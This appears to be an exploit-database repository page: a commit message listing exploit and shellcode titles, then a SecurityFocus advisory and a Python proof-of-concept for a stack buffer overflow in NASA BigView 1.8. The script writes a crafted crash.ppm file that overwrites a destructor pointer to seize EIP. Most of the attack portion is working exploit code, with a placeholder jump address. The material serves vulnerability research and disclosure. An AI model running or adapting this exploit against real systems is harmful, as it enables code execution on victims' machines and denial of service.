880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
50 lines
No EOL
2.2 KiB
Python
Executable file
50 lines
No EOL
2.2 KiB
Python
Executable file
source: https://www.securityfocus.com/bid/29517/info
|
|
|
|
NASA Ames Research Center BigView is prone to a remote stack-based buffer-overflow vulnerability because it fails to properly bounds-check user-supplied data before copying it to an insufficiently sized memory buffer.
|
|
|
|
An attacker can exploit this issue to execute arbitrary code in the context of the application. Successful attacks will compromise the application and underlying computer. Failed exploit attempts will result in a denial of service.
|
|
|
|
BigView 1.8 is vulnerable; other versions may also be affected.
|
|
|
|
/-----------
|
|
|
|
## BigView exploit
|
|
## Alfredo Ortega - Core Security Exploit Writers Team (EWT)
|
|
## Works against BigView "browse" revision 1.8 compiled on ubuntu 6.06
|
|
Desktop i386
|
|
|
|
import struct
|
|
w = open("crash.ppm","wb")
|
|
w.write("""P3
|
|
#CREATOR: The GIMP's PNM Filter Version
|
|
1.0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA""")
|
|
# This exploit is not trivial, because the function PPM::ppmHeader()
|
|
doesn't return inmmediately, and we must modify internal variables to
|
|
cause an overwrite of a C++ string destructor executed at the end of the
|
|
function to gain control of EIP
|
|
# PS.: Congrats for the Phoenix mars Lander!
|
|
for i in range(7):
|
|
w.write(chr(i)*4)
|
|
w.write("AA")
|
|
w.write(struct.pack("<L",0xaaaaaaaa))
|
|
w.write(struct.pack("<L",0xbbbbbbbb))
|
|
w.write(struct.pack("<L",0xcccccccc))
|
|
w.write(struct.pack("<L",0x08080000))
|
|
w.write(struct.pack("<L",0x08080000)*48)
|
|
|
|
#The address of the destructor is hard-coded. Sorry but this is only a
|
|
PoC!
|
|
destination = 0x0805b294 # destructor
|
|
value = 0x41414141 #address to jump to
|
|
w.write(struct.pack("<L",destination)) # destination
|
|
|
|
w.write("""
|
|
%d 300
|
|
255
|
|
255
|
|
255
|
|
255
|
|
""" % value)
|
|
w.close()
|
|
|
|
- -----------/ |